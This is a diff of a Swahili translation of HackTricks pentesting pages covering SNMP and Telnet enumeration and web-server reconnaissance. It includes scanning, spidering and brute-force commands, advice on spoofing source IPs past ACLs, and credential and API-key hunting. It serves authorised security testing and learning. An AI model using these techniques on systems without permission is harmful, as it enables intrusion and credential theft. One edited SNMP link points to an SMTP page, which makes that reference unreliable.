[Braa](https://github.com/mteg/braa) ni skana kubwa ya SNMP. Matumizi yaliyokusudiwa ya zana kama hii ni, bila shaka, kufanya maswali ya SNMP – lakini tofauti na snmpwalk kutoka net-snmp, ina uwezo wa kuuliza mwenyeji kumi au mia moja kwa wakati mmoja, na katika mchakato mmoja. Hivyo, inatumia rasilimali chache za mfumo na inafanya ufuatiliaji HARAKA SANA.
|
||||
[Braa](https://github.com/mteg/braa) ni skana kubwa ya SNMP. Matumizi yaliyokusudiwa ya zana kama hii ni, bila shaka, kufanya maswali ya SNMP – lakini tofauti na snmpwalk kutoka net-snmp, ina uwezo wa kuuliza majeshi makumi au mamia kwa wakati mmoja, na katika mchakato mmoja. Hivyo, inatumia rasilimali chache za mfumo na inafanya ufuatiliaji HARAKA SANA.
|
||||
|
||||
Braa inatekeleza stack yake ya snmp, hivyo haitaji maktaba yoyote ya SNMP kama net-snmp.
|
||||
|
||||
@ -182,7 +182,7 @@ Braa inatekeleza stack yake ya snmp, hivyo haitaji maktaba yoyote ya SNMP kama n
|
||||
```bash
|
||||
braa ignite123@192.168.1.125:.1.3.6.*
|
||||
```
|
||||
Hii inaweza kutoa MB nyingi za taarifa ambazo huwezi kusindika kwa mikono.
|
||||
Hii inaweza kutoa MB nyingi za taarifa ambazo huwezi kushughulikia kwa mikono.
|
||||
|
||||
Hivyo, hebu tutafute taarifa za kuvutia zaidi (kutoka [https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)):
|
||||
|
||||
@ -194,7 +194,7 @@ grep ".1.3.6.1.2.1.1.1.0" *.snmp
|
||||
```
|
||||
### **Tambua Mfuatano wa Kibinafsi**
|
||||
|
||||
Hatua muhimu inahusisha kutambua **mfuatano wa jamii ya kibinafsi** unaotumiwa na mashirika, hasa kwenye routers za Cisco IOS. Mfuatano huu unaruhusu kutoa **mipangilio inayoendelea** kutoka kwa routers. Utambuzi mara nyingi unategemea kuchambua data ya SNMP Trap kwa neno "trap" kwa kutumia **amri ya grep**:
|
||||
Hatua muhimu inahusisha kutambua **mfuatano wa jamii ya kibinafsi** unaotumiwa na mashirika, hasa kwenye router za Cisco IOS. Mfuatano huu unaruhusu kutoa **mipangilio inayoendelea** kutoka kwa router. Utambuzi mara nyingi unategemea kuchambua data za SNMP Trap kwa neno "trap" kwa kutumia **amri ya grep**:
|
||||
```bash
|
||||
grep -i "trap" *.snmp
|
||||
```
|
||||
@ -216,7 +216,7 @@ Unaweza kutumia _**NetScanTools**_ kubadilisha **thamani**. Itabidi ujue **nyota
|
||||
|
||||
## Kupotosha
|
||||
|
||||
Ikiwa kuna ACL inayoruhusu tu IP chache kuuliza huduma ya SMNP, unaweza kupotosha moja ya anwani hizi ndani ya pakiti ya UDP na kunusa trafiki.
|
||||
Ikiwa kuna ACL inayoruhusu tu IP fulani kuuliza huduma ya SMNP, unaweza kupotosha moja ya anwani hizi ndani ya pakiti ya UDP na kunusa trafiki.
|
||||
|
||||
## Kagua faili za Mipangilio ya SNMP
|
||||
|
||||
@ -236,7 +236,7 @@ Description: Notes for SNMP
|
||||
Note: |
|
||||
SNMP - Simple Network Management Protocol is a protocol used to monitor different devices in the network (like routers, switches, printers, IoTs...).
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-snmp
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
|
||||
|
||||
Entry_2:
|
||||
Name: SNMP Check
|
||||
|
@ -21,21 +21,21 @@ Uchunguzi wote wa kuvutia unaweza kufanywa na **nmap**:
|
||||
```bash
|
||||
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
|
||||
```
|
||||
Scripti `telnet-ntlm-info.nse` itapata taarifa za NTLM (matoleo ya Windows).
|
||||
The script `telnet-ntlm-info.nse` itapata taarifa za NTLM (matoleo ya Windows).
|
||||
|
||||
Kutoka kwenye [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): Katika Protokali ya TELNET kuna "**chaguzi**" mbalimbali ambazo zitaidhinishwa na zinaweza kutumika na muundo wa "**DO, DON'T, WILL, WON'T**" ili kuruhusu mtumiaji na seva kukubaliana kutumia seti ya makubaliano ya kina (au labda tofauti tu) kwa ajili ya muunganisho wao wa TELNET. Chaguzi hizo zinaweza kujumuisha kubadilisha seti ya wahusika, hali ya echo, n.k.
|
||||
Kutoka kwenye [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): Katika Protokali ya TELNET kuna "**chaguzi**" mbalimbali ambazo zitaidhinishwa na zinaweza kutumika pamoja na muundo wa "**FANYA, USIFANYE, ITAFANYIKA, HAITAFANYIKA**" ili kumruhusu mtumiaji na seva kukubaliana kutumia seti ya makubaliano ya kina (au labda tofauti tu) kwa ajili ya muunganisho wao wa TELNET. Chaguzi hizo zinaweza kujumuisha kubadilisha seti ya wahusika, hali ya echo, n.k.
|
||||
|
||||
**Ninajua inawezekana kuhesabu chaguzi hizi lakini sijui jinsi, hivyo nijulishe kama unajua jinsi.**
|
||||
|
||||
### [Brute force](../generic-hacking/brute-force.md#telnet)
|
||||
|
||||
## Faili ya usanidi
|
||||
## Config file
|
||||
```bash
|
||||
/etc/inetd.conf
|
||||
/etc/xinetd.d/telnet
|
||||
/etc/xinetd.d/stelnet
|
||||
```
|
||||
## Amri za Kiotomatiki za HackTricks
|
||||
## HackTricks Amri za Otomatiki
|
||||
```
|
||||
Protocol_Name: Telnet #Protocol Abbreviation if there is one.
|
||||
Port_Number: 23 #Comma separated if there is more than one.
|
||||
@ -48,7 +48,7 @@ Note: |
|
||||
wireshark to hear creds being passed
|
||||
tcp.port == 23 and ip.addr != myip
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-telnet
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html
|
||||
|
||||
Entry_2:
|
||||
Name: Banner Grab
|
||||
|
@ -17,37 +17,37 @@ PORT STATE SERVICE
|
||||
nc -v domain.com 80 # GET / HTTP/1.0
|
||||
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
||||
```
|
||||
### Web API Guidance
|
||||
### Mwongozo wa Web API
|
||||
|
||||
{{#ref}}
|
||||
web-api-pentesting.md
|
||||
{{#endref}}
|
||||
|
||||
## Methodology summary
|
||||
## Muhtasari wa Mbinu
|
||||
|
||||
> Katika mbinu hii tunaenda kudhani kwamba unataka kushambulia kikoa (au subdomain) na tu hicho. Hivyo, unapaswa kutumia mbinu hii kwa kila kikoa, subdomain au IP iliyogunduliwa yenye seva ya wavuti isiyojulikana ndani ya upeo.
|
||||
|
||||
- [ ] Anza kwa **kutambua** **teknolojia** zinazotumiwa na seva ya wavuti. Tafuta **hila** za kukumbuka wakati wa mtihani mzima ikiwa utaweza kutambua teknolojia hiyo kwa mafanikio.
|
||||
- [ ] Je, kuna **udhaifu** wowote unaojulikana wa toleo la teknolojia hiyo?
|
||||
- [ ] Unatumia **teknolojia maarufu** yoyote? Je, kuna **hila** yoyote ya manufaa ya kupata taarifa zaidi?
|
||||
- [ ] Je, kuna **scanner maalum** yoyote ya kukimbia (kama wpscan)?
|
||||
- [ ] Uzindua **scanners za matumizi ya jumla**. Hujui kamwe kama wataweza kupata kitu au kama wataweza kupata taarifa za kuvutia.
|
||||
- [ ] Anza na **ukaguzi wa awali**: **robots**, **sitemap**, **404** makosa na **SSL/TLS scan** (ikiwa HTTPS).
|
||||
- [ ] Je, kuna **scanner maalum** ya kukimbia (kama wpscan)?
|
||||
- [ ] Anzisha **scanners za matumizi ya jumla**. Hujui kama wataweza kupata kitu au kama wataweza kupata taarifa za kuvutia.
|
||||
- [ ] Anza na **ukaguzi wa awali**: **robots**, **sitemap**, **404** kosa na **SSL/TLS skana** (ikiwa HTTPS).
|
||||
- [ ] Anza **kupeleleza** ukurasa wa wavuti: Ni wakati wa **kupata** faili, folda na **parameta** zote zinazotumika. Pia, angalia kwa **matokeo maalum**.
|
||||
- [ ] _Kumbuka kwamba kila wakati directory mpya inagunduliwa wakati wa brute-forcing au kupeleleza, inapaswa kupelelezwa._
|
||||
- [ ] **Directory Brute-Forcing**: Jaribu kufanya brute force kwa folda zote zilizogunduliwa kutafuta **faili** na **directories** mpya.
|
||||
- [ ] **Brute-Forcing ya Directory**: Jaribu kufanya brute force kwa folda zote zilizogunduliwa kutafuta **faili** na **directories** mpya.
|
||||
- [ ] _Kumbuka kwamba kila wakati directory mpya inagunduliwa wakati wa brute-forcing au kupeleleza, inapaswa kufanywa Brute-Forced._
|
||||
- [ ] **Kuangalia nakala za akiba**: Jaribu kuona kama unaweza kupata **nakala za akiba** za **faili zilizogunduliwa** ukiongeza nyongeza za kawaida za akiba.
|
||||
- [ ] **Brute-Force parameters**: Jaribu **kupata parameta zilizofichwa**.
|
||||
- [ ] **Ukaguzi wa Nakala za Hifadhi**: Jaribu kuona kama unaweza kupata **nakala za hifadhi** za **faili zilizogunduliwa** ukiongeza nyongeza za kawaida za nakala za hifadhi.
|
||||
- [ ] **Brute-Force parameta**: Jaribu **kupata parameta zilizofichwa**.
|
||||
- [ ] Mara tu unapokuwa umeshawishi **kila mwisho** unaokubali **ingizo la mtumiaji**, angalia aina zote za **udhaifu** zinazohusiana na hiyo.
|
||||
- [ ] [Fuata orodha hii ya ukaguzi](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
||||
## Server Version (Vulnerable?)
|
||||
## Toleo la Seva (Lina Udhihirisho?)
|
||||
|
||||
### Identify
|
||||
### Tambua
|
||||
|
||||
Angalia kama kuna **udhaifu unaojulikana** kwa **toleo** la seva inayotumika.\
|
||||
**HTTP headers na cookies za jibu** zinaweza kuwa na manufaa sana katika **kutambua** **teknolojia** na/au **toleo** linalotumika. **Nmap scan** inaweza kutambua toleo la seva, lakini inaweza pia kuwa na manufaa kutumia zana [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)au [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
**Vichwa vya HTTP na vidakuzi vya jibu** vinaweza kuwa na manufaa sana katika **kutambua** **teknolojia** na/au **toleo** linalotumika. **Nmap scan** inaweza kutambua toleo la seva, lakini pia inaweza kuwa na manufaa kutumia zana [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)au [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
whatweb -a 3 <URL> #Aggresive
|
||||
@ -98,15 +98,15 @@ Baadhi ya **tricks** za **finding vulnerabilities** katika **technologies** maar
|
||||
- [**Wordpress**](wordpress.md)
|
||||
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
|
||||
|
||||
_Kumbuka kwamba **domain** hiyo hiyo inaweza kuwa inatumia **technologies** tofauti katika **ports**, **folders** na **subdomains**._\
|
||||
Ikiwa programu ya wavuti inatumia **tech/platform** maarufu zilizoorodheshwa hapo juu au **zingine yoyote**, usisahau **kutafuta kwenye Mtandao** tricks mpya (na unijulishe!).
|
||||
_Kumbuka kwamba **domain** hiyo hiyo inaweza kuwa ikitumia **technologies** tofauti katika **ports**, **folders** na **subdomains**._\
|
||||
Ikiwa programu ya wavuti inatumia **tech/platform** maarufu zilizoorodheshwa hapo awali au **zingine yoyote**, usisahau **kutafuta mtandaoni** tricks mpya (na unijulishe!).
|
||||
|
||||
### Source Code Review
|
||||
|
||||
Ikiwa **source code** ya programu inapatikana katika **github**, mbali na kufanya **mtihani wa White box** wa programu hiyo kuna **maelezo** ambayo yanaweza kuwa **muhimu** kwa **Black-Box testing** ya sasa:
|
||||
Ikiwa **source code** ya programu inapatikana katika **github**, mbali na kufanya **White box test** ya programu hiyo, kuna **maelezo** ambayo yanaweza kuwa **muhimu** kwa **Black-Box testing** ya sasa:
|
||||
|
||||
- Je, kuna **Change-log au Readme au Version** file au chochote chenye **version info accessible** kupitia wavuti?
|
||||
- Je, **credentials** zimehifadhiwaje na wapi? Je, kuna **file** yoyote (inayopatikana?) yenye credentials (majina ya watumiaji au nywila)?
|
||||
- Je, **credentials** zimehifadhiwaje na wapi? Je, kuna **file** (inayopatikana?) yenye credentials (majina ya watumiaji au nywila)?
|
||||
- Je, **passwords** ziko katika **plain text**, **encrypted** au ni **hashing algorithm** gani inatumika?
|
||||
- Je, inatumia **master key** yoyote kwa ajili ya kuandika kitu? Ni **algorithm** gani inatumika?
|
||||
- Je, unaweza **kufikia yoyote ya hizi files** kwa kutumia udhaifu wowote?
|
||||
@ -147,9 +147,9 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
```
|
||||
> Katika hatua hii unapaswa kuwa na taarifa fulani kuhusu seva ya wavuti inayotumiwa na mteja (ikiwa kuna data yoyote iliyotolewa) na mbinu fulani za kukumbuka wakati wa mtihani. Ikiwa una bahati umepata hata CMS na kuendesha skana.
|
||||
|
||||
## Hatua kwa hatua Ugunduzi wa Programu za Wavuti
|
||||
## Ugunduzi wa Programu za Wavuti Hatua kwa Hatua
|
||||
|
||||
> Kutoka hapa tutaanza kuingiliana na programu ya wavuti.
|
||||
> Kuanzia hapa tutaanza kuingiliana na programu ya wavuti.
|
||||
|
||||
### Ukaguzi wa Awali
|
||||
|
||||
@ -160,7 +160,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
- /crossdomain.xml
|
||||
- /clientaccesspolicy.xml
|
||||
- /.well-known/
|
||||
- Angalia pia maoni katika kurasa kuu na za sekondari.
|
||||
- Angalia pia maoni katika kurasa kuu na za pili.
|
||||
|
||||
**Kusababisha makosa**
|
||||
|
||||
@ -173,10 +173,10 @@ Seva za wavuti zinaweza **kufanya kazi kwa njia isiyo ya kawaida** wakati data z
|
||||
|
||||
#### **Angalia kama unaweza kupakia faili (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
|
||||
|
||||
Ikiwa unapata kuwa **WebDav** ime **wezeshwa** lakini huna ruhusa za kutosha za **kupakia faili** kwenye folda ya mzizi jaribu:
|
||||
Ikiwa unapata kuwa **WebDav** ime **wezeshwa** lakini huna ruhusa ya kutosha kwa **kupakia faili** kwenye folda ya mzizi jaribu:
|
||||
|
||||
- **Brute Force** akidi
|
||||
- **Pakia faili** kupitia WebDav kwenye **sehemu** za **folda zilizopatikana** ndani ya ukurasa wa wavuti. Unaweza kuwa na ruhusa za kupakia faili katika folda nyingine.
|
||||
- **Pakia faili** kupitia WebDav kwenye **sehemu** nyingine za **folda zilizopatikana** ndani ya ukurasa wa wavuti. Unaweza kuwa na ruhusa za kupakia faili katika folda nyingine.
|
||||
|
||||
### **Vulnerabilities za SSL/TLS**
|
||||
|
||||
@ -199,39 +199,39 @@ Habari kuhusu SSL/TLS udhaifu:
|
||||
|
||||
### Spidering
|
||||
|
||||
Zindua aina fulani ya **spider** ndani ya wavuti. Lengo la spider ni **kupata njia nyingi kadri iwezekanavyo** kutoka kwa programu iliyojaribiwa. Kwa hivyo, kuvinjari wavuti na vyanzo vya nje vinapaswa kutumika ili kupata njia halali nyingi kadri iwezekanavyo.
|
||||
Zindua aina fulani ya **spider** ndani ya wavuti. Lengo la spider ni **kupata njia nyingi kadri iwezekanavyo** kutoka kwa programu iliyojaribiwa. Hivyo, kuvinjari wavuti na vyanzo vya nje vinapaswa kutumika ili kupata njia halali nyingi kadri iwezekanavyo.
|
||||
|
||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder katika faili za JS na vyanzo vya nje (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, na LinkFider kwa faili za JS na Archive.org kama chanzo cha nje.
|
||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, pia inaonyesha "faili za juisi".
|
||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, pia inaonyesha "faili za kuvutia".
|
||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. Pia inatafuta katika Archive.org
|
||||
- [**meg**](https://github.com/tomnomnom/meg) (go): Chombo hiki si spider lakini kinaweza kuwa na manufaa. Unaweza tu kuashiria faili yenye mwenyeji na faili yenye njia na meg itachukua kila njia kwenye kila mwenyeji na kuhifadhi jibu.
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider yenye uwezo wa kutafsiri JS. Hata hivyo, inaonekana kama haijatunzwa, toleo lililotayarishwa ni la zamani na msimbo wa sasa haujajitengeneza.
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider yenye uwezo wa kuunda JS. Hata hivyo, inaonekana kama haijatunzwa, toleo lililotengenezwa awali ni la zamani na msimbo wa sasa haujajitengeneza.
|
||||
- [**gau**](https://github.com/lc/gau) (go): HTML spider inayotumia watoa huduma wa nje (wayback, otx, commoncrawl)
|
||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Hii ni skripti itakayopata URLs zenye parameta na kuziorodhesha.
|
||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider yenye uwezo wa kutafsiri JS.
|
||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Hii ni script itakayopata URLs zenye parameta na kuziorodhesha.
|
||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider yenye uwezo wa kuunda JS.
|
||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, yenye uwezo wa kuboresha JS inayoweza kutafuta njia mpya katika faili za JS. Inaweza kuwa na manufaa pia kuangalia [JSScanner](https://github.com/dark-warlord14/JSScanner), ambayo ni wrapper ya LinkFinder.
|
||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Kutolewa kwa mwisho katika chanzo cha HTML na faili za javascript zilizojumuishwa. Inafaida kwa wawindaji wa makosa, timu nyekundu, na ninjas wa infosec.
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Skripti ya python 2.7 inayotumia Tornado na JSBeautifier kutafsiri URLs zinazohusiana kutoka kwa faili za JavaScript. Inafaida kwa kugundua maombi ya AJAX kwa urahisi. Inaonekana kama haijatunzwa.
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Iwapo kuna faili (HTML) itatoa URLs kutoka kwake kwa kutumia kanuni nzuri za kawaida kutafuta na kutoa URLs zinazohusiana kutoka kwa faili mbaya (minify).
|
||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Kutolewa kwa mwisho katika chanzo cha HTML na faili za javascript zilizojumuishwa. Inafaida kwa wawindaji wa makosa, timu nyekundu, na infosec ninjas.
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Script ya python 2.7 inayotumia Tornado na JSBeautifier kuchambua URLs zinazohusiana kutoka kwa faili za JavaScript. Inafaida kwa kugundua maombi ya AJAX kwa urahisi. Inaonekana kama haijatunzwa.
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Iwapo kuna faili (HTML) itatoa URLs kutoka kwake kwa kutumia kanuni nzuri za kawaida ili kupata na kutoa URLs zinazohusiana kutoka kwa faili mbaya (minify).
|
||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, zana kadhaa): Kusanya habari za kuvutia kutoka kwa faili za JS kwa kutumia zana kadhaa.
|
||||
- [**subjs**](https://github.com/lc/subjs) (go): Pata faili za JS.
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Pakia ukurasa katika kivinjari kisichokuwa na kichwa na uchapishe URLs zote zilizopakiwa ili kupakia ukurasa.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Chombo cha kugundua maudhui kinachochanganya chaguzi kadhaa za zana za awali.
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Pata ukurasa katika kivinjari kisichokuwa na kichwa na uchapishe URLs zote zilizopakiwa ili kupakia ukurasa.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Chombo cha kugundua maudhui kinachochanganya chaguzi kadhaa za zana zilizotangulia.
|
||||
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Kiendelezi cha Burp kutafuta njia na parameta katika faili za JS.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Chombo ambacho kwa URL ya .js.map kitakuletea msimbo wa JS ulioimarishwa.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Chombo ambacho kwa URL ya .js.map kitakupa msimbo wa JS ulioimarishwa.
|
||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Hii ni chombo kinachotumika kugundua mwisho kwa lengo fulani.
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Gundua viungo kutoka kwa mashine ya wayback (pia kupakua majibu katika wayback na kutafuta viungo zaidi).
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (hata kwa kujaza fomu) na pia pata habari nyeti kwa kutumia regex maalum.
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite ni kivinjari cha wavuti cha GUI chenye vipengele vingi vilivyoundwa kwa wataalamu wa usalama wa mtandao.
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite ni kivinjari cha wavuti cha GUI chenye vipengele vingi vilivyoundwa kwa ajili ya wataalamu wa usalama wa mtandao.
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Ni pakiti ya Go na [chombo cha amri](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) cha kutoa URLs, njia, siri, na data nyingine za kuvutia kutoka kwa msimbo wa chanzo wa JavaScript.
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge ni kiendelezi rahisi cha **Burp Suite** kutolewa **parameta na mwisho** kutoka kwa ombi ili kuunda orodha ya maneno ya kawaida kwa fuzzing na orodha.
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge ni kiendelezi rahisi cha **Burp Suite** ili **kutoa parameta na mwisho** kutoka kwa ombi ili kuunda orodha ya maneno ya kawaida kwa fuzzing na orodha.
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): Chombo bora kwa hili.
|
||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): Chapisha kila kiungo kinachoweza kupatikana.
|
||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): Chapisha kila kiungo ambacho kinaweza kupatikana.
|
||||
|
||||
### Brute Force directories and files
|
||||
|
||||
Anza **brute-forcing** kutoka kwenye folda ya mzizi na uhakikishe unafanya brute-force **zote** **directories zilizopatikana** kwa kutumia **hii mbinu** na zote **directories zilizogunduliwa** na **Spidering** (unaweza kufanya brute-forcing hii **kikamilifu** na kuongeza mwanzoni mwa orodha ya maneno iliyotumika majina ya directories zilizopatikana).\
|
||||
Anza **brute-forcing** kutoka kwenye folda ya mzizi na uhakikishe unafanya brute-force **zote** za **directories zilizopatikana** kwa kutumia **hii mbinu** na zote za directories **zilizogunduliwa** na **Spidering** (unaweza kufanya brute-forcing hii **kikamilifu** na kuongeza mwanzoni mwa orodha ya maneno iliyotumika majina ya directories zilizopatikana).\
|
||||
Zana:
|
||||
|
||||
- **Dirb** / **Dirbuster** - Imejumuishwa katika Kali, **ya zamani** (na **polepole**) lakini inafanya kazi. Inaruhusu vyeti vilivyojitiisha kiotomatiki na utafutaji wa kurudiwa. Polepole sana ikilinganishwa na chaguzi nyingine.
|
||||
@ -240,7 +240,7 @@ Zana:
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Haraka, inasaidia utafutaji wa kurudiwa.**
|
||||
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
- [**ffuf** ](https://github.com/ffuf/ffuf)- Haraka: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): Hii si spider bali ni chombo ambacho kwa orodha ya URLs zilizopatikana kitafuta "URLs zilizojirudia".
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): Hii si spider lakini ni chombo ambacho kwa orodha ya URLs zilizopatikana kitafuta "URLs zilizojirudia".
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Kiendelezi cha Burp kuunda orodha ya directories kutoka kwa historia ya burp ya kurasa tofauti.
|
||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Ondoa URLs zenye kazi zilizojirudia (kulingana na uagizaji wa js).
|
||||
- [**Chamaleon**](https://github.com/iustin24/chameleon): Inatumia wapalyzer kugundua teknolojia zinazotumika na kuchagua orodha za maneno za kutumia.
|
||||
@ -264,19 +264,19 @@ Zana:
|
||||
- _/usr/share/wordlists/dirb/big.txt_
|
||||
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||
|
||||
_Kumbuka kwamba kila wakati directory mpya inapatikana wakati wa brute-forcing au spidering, inapaswa kufanywa Brute-Forced._
|
||||
_Kumbuka kwamba kila wakati directory mpya inagunduliwa wakati wa brute-forcing au spidering, inapaswa kufanywa Brute-Forced._
|
||||
|
||||
### Nini cha kuangalia kwenye kila faili iliyopatikana
|
||||
### Nini cha kuangalia kwenye kila faili lililopatikana
|
||||
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Pata viungo vilivyovunjika ndani ya HTMLs ambavyo vinaweza kuwa na hatari ya kuchukuliwa.
|
||||
- **File Backups**: Mara tu unapopata faili zote, angalia nakala za faili zote zinazotekelezeka ("_.php_", "_.aspx_"...). Mabadiliko ya kawaida ya kutaja nakala ni: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp na file.old._ Unaweza pia kutumia chombo [**bfac**](https://github.com/mazen160/bfac) **au** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
- **Gundua parameta mpya**: Unaweza kutumia zana kama [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **na** [**Param Miner**](https://github.com/PortSwigger/param-miner) **kugundua parameta zilizofichwa. Ikiwa unaweza, unaweza kujaribu kutafuta** parameta zilizofichwa kwenye kila faili ya wavuti inayotekelezeka.
|
||||
- **File Backups**: Mara tu unapokuwa umepata faili zote, tafuta nakala za faili zote zinazotekelezeka ("_.php_", "_.aspx_"...). Mabadiliko ya kawaida ya kutaja nakala ni: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp na file.old._ Unaweza pia kutumia chombo [**bfac**](https://github.com/mazen160/bfac) **au** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
- **Gundua parameta mpya**: Unaweza kutumia zana kama [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **na** [**Param Miner**](https://github.com/PortSwigger/param-miner) **kugundua parameta zilizofichwa. Ikiwa unaweza, unaweza kujaribu kutafuta** parameta zilizofichwa kwenye kila faili la wavuti linalotekelezeka.
|
||||
- _Arjun orodha zote za maneno za kawaida:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
- **Maoni:** Angalia maoni ya faili zote, unaweza kupata **akili** au **kazi zilizofichwa**.
|
||||
- Ikiwa unacheza **CTF**, hila "ya kawaida" ni **kuficha** **habari** ndani ya maoni upande wa **kulia** wa **ukurasa** (ukitumia **mifumo** ya **maelfu** ili usione data ikiwa unafungua msimbo wa chanzo na kivinjari). Uwezekano mwingine ni kutumia **michoro kadhaa mipya** na **kuficha habari** katika maoni kwenye **chini** ya ukurasa wa wavuti.
|
||||
- **Maoni:** Angalia maoni ya faili zote, unaweza kupata **akili** au **ufunctionality iliyofichwa**.
|
||||
- Ikiwa unacheza **CTF**, hila "ya kawaida" ni **kuficha** **habari** ndani ya maoni upande wa **kulia** wa **ukurasa** (ukitumia **mifumo** mingi ili usione data ikiwa unafungua msimbo wa chanzo na kivinjari). Uwezekano mwingine ni kutumia **michoro kadhaa mipya** na **kuficha habari** katika maoni kwenye **chini** ya ukurasa wa wavuti.
|
||||
- **API keys**: Ikiwa **unapata funguo zozote za API** kuna mwongozo unaoelekeza jinsi ya kutumia funguo za API za majukwaa tofauti: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
